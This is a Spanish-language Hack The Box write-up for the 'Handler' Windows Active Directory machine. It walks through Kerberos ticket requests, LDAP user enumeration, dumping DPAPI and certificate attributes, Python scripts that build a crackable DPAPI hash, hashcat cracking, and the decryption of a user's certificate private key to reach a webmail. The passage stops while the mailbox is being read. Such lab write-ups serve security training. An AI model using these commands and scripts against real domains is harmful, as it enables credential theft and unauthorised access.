XUT_ / MACHINES / HTB

0115

Handler

HTBMACHINEACTIVEINSANETEMPORADA 12
Active DirectoryAD CSCertipyDPAPIESC14ESC9KerberosLDAPPKINITPrivilege EscalationWindows

Writeup y walkthrough en español de la máquina Handler (Hack The Box, Insane, Windows) paso a paso: reconocimiento, explotación y escalada de privilegios. Técnicas: Active Directory, AD CS, Certipy, DPAPI, ESC14, ESC9.

Getting the Flags

Reconocimiento Inicial

Comenzamos descomprimiendo el archivo.

Getting the Flags

Esto nos da un archivo .ovpn. Vamos a conectarnos a dicha VPN.

bash
sudo openvpn Dmalik-PC01.ovpn

Ahora investigamos el acceso inicial que nos han dado.

Getting the Flags

Vamos a ver qué podemos ver de estos puertos.

Getting the Flags

Getting the Flags

Parece que está desfasado en hora respecto a nuestro equipo.


Profundización

Con esta información podemos empezar a explorar el equipo del que nos han dado las credenciales.

bash
faketime -f '+7h' impacket-getTGT htb-airways.htb/ext.dmalik:'HTB-AirwaysAudit2026!' -dc-ip 192.168.37.1
export KRB5CCNAME=$PWD/ext.dmalik.ccache

Getting the Flags

Ahora podemos mirar usuarios que haya.

bash
faketime -f '+7h' nxc ldap dc01.htb-airways.htb -u ext.dmalik -k --use-kcache --users

Getting the Flags

De todas ellas la que más nos interesa es la de w.zhang, parece que es administradora de algo.

Getting the Flags

Tenemos su SID, vamos a mirar su título.

Getting the Flags

Efectivamente lo es. Vamos a comprobar si tiene almacenados atributos relacionados con DPAPI.

Getting the Flags

De este blob podemos extraer la master key:

Getting the Flags

Y podemos transformarlo:

Getting the Flags

Vamos a extraer más atributos que nos interesan.

Getting the Flags

bash
faketime -f '+7h' bloodyAD --host dc01.htb-airways.htb -d htb-airways.htb --dc-ip 192.168.37.1 -k get object 'w.zhang' --attr msPKIDPAPIMasterKeys  > mk.raw
faketime -f '+7h' bloodyAD --host dc01.htb-airways.htb -d htb-airways.htb --dc-ip 192.168.37.1 -k get object 'w.zhang' --attr msPKIAccountCredentials > cred.raw

Con esto conseguimos lo necesario para poder extraerlo todo y generar el hash crackeable. Para generar este hash utilizamos el script siguiente:

python
import struct
d=open('wzhang_masterkey','rb').read()
SID='S-1-5-21-2807179013-311950797-2107105437-5626'
o=4+8+72+8+4                # version+reserved+GUID(utf16)+reserved2+policy
mkLen,bkLen,chLen,dkLen=struct.unpack_from('<QQQQ',d,o); o+=32
mk=d[o:o+mkLen]
salt=mk[4:20]; rounds=struct.unpack_from('<I',mk,20)[0]; cipher=mk[32:]
h="$DPAPImk$1*3*%s*des3*sha1*%d*%s*%d*%s"%(SID,rounds,salt.hex(),len(cipher),cipher.hex())
open('wzhang_dpapimk.hash','w').write(h+'\n'); print(h)

Esto nos dará el hash con contexto de dominio. Para conseguir el hash con contexto local simplemente cambiamos el *3* por el *1* al inicio del hash:

Getting the Flags

Guardamos ambos hashes en un documento:

Getting the Flags

Ahora lo crackeamos con hashcat:

bash
hashcat -m 15310 DPAPI_hash_domain.txt /usr/shar/wordlist/rockyou.txt
hashcat -m 15300 DPAPI_hash_local.txt /usr/share/wordlist/rockyou.txt

El local no nos vale, sin embargo, el del contexto de dominio arroja una contraseña:

Getting the Flags

Con esta contraseña podemos entrar al correo de w.zhang. Sin embargo, no podemos acceder a la web porque necesitamos un certificado.

Getting the Flags

Así que vamos a extraer el certificado.

Primero desciframos la master key (pon la contraseña correcta):

python
from dploot.lib import dpapi as D
SID='S-1-5-21-2807179013-311950797-2107105437-5626'
raw=open('wzhang_masterkey','rb').read()
dec=D.decrypt_masterkey(masterkey=raw, sid=SID, password='HelloKitty')
open('mk_decrypted.bin','wb').write(bytes(dec))
print("masterkey:", dec.hex())

Getting the Flags

Y el certificado:

python
import re
raw=open('cred.raw').read()
whole=b''.join(bytes.fromhex(b) for b in re.findall(r'B:\d+:([0-9A-Fa-f]+):',raw))
hx=whole.hex()
m=re.search(r'3082[0-9a-f]{4}3082[0-9a-f]{4}a003020102',hx)
s=m.start()//2; ln=int(hx[m.start()+4:m.start()+8],16)+4
open('webmail_cert.der','wb').write(whole[s:s+ln])

Lo ejecutamos.

bash
python3 carve_cert.py
openssl x509 -inform DER -in webmail_cert.der -out webmail_cert.pem
openssl x509 -in webmail_cert.pem -noout -subject

Getting the Flags

Desciframos la clave privada:

python
# decrypt_key.py
import re, hashlib
from dploot.lib import dpapi as D
from dploot.lib.masterkey import Masterkey
SID='S-1-5-21-2807179013-311950797-2107105437-5626'
dec=open('mk_decrypted.bin','rb').read()
mkobj=Masterkey(guid='3a9ec83a-07a0-4ba4-8b6b-a29740437cd6', sid=SID, key=dec,
                sha1=hashlib.sha1(dec).hexdigest())
whole=b''.join(bytes.fromhex(b) for b in re.findall(r'B:\d+:([0-9A-Fa-f]+):',open('cred.raw').read()))
marker=bytes.fromhex('01000000')+bytes.fromhex('d08c9ddf0115d1118c7a00c04fc297eb')
for o in [m.start() for m in re.finditer(re.escape(marker),whole)]:
    out=D.decrypt_blob(whole[o:], mkobj)
    if out and out[:4]==b'RSA2':
        rsa=D.PRIVATE_KEY_RSA(out)
        key=D.pvkblob_to_pkcs1(rsa)
        open('webmail.key','wb').write(key.export_key()); print("private key OK")

Y lo ejecutamos. Debería decirnos private key OK. Comprobamos que los hashes son iguales:

bash
openssl rsa -in webmail.key -noout -modulus | md5sum
openssl x509 -in webmail_cert.pem -noout -modulus | md5sum

Si son iguales construimos el certificado: webmail.pfx:

bash
openssl pkcs12 -export -out webmail.pfx -inkey webmail.key -in webmail_cert.pem -passout pass:

Esto crea el certificado con la contraseña vacía. Con este certificado podremos entrar. Ahora queda añadirlo. Escribimos en Firefox: about:preferences#privacy. Vamos abajo del todo y hacemos click:

Getting the Flags

Ahora volvemos a bajar y seleccionamos:

Getting the Flags

Luego le damos a:

Getting the Flags

E importamos el certificado. Una vez importado nos pedirá una contraseña, en nuestro caso como la hemos dejado vacía simplemente le damos a Enter. Con este certificado en orden ya podemos acceder a la web del mail.

Getting the Flags

CAUTION

Si aún así no funciona y ya habías estado probando cosas antes, ve a Authentication Decisions en el mismo sitio donde importamos el certificado y elimina lo que haya dentro.

Le damos a OK:

Getting the Flags

Ahora entramos con la contraseña de w.zhang.

Getting the Flags

Una vez aquí leemos los emails. Tanto los recibidos:

  1. De la propia w.zhang:

Getting the Flags

  1. De k.asante:

Getting the Flags

Como de los enviados:

  1. A t.ellis:

Getting the Flags

Vamos a gestionar las carpetas para poder ver los enviados:

Getting the Flags

De vuelta en la página principal:

Getting the Flags

Y en Sent:

Getting the Flags

Descargamos todo en nuestra máquina.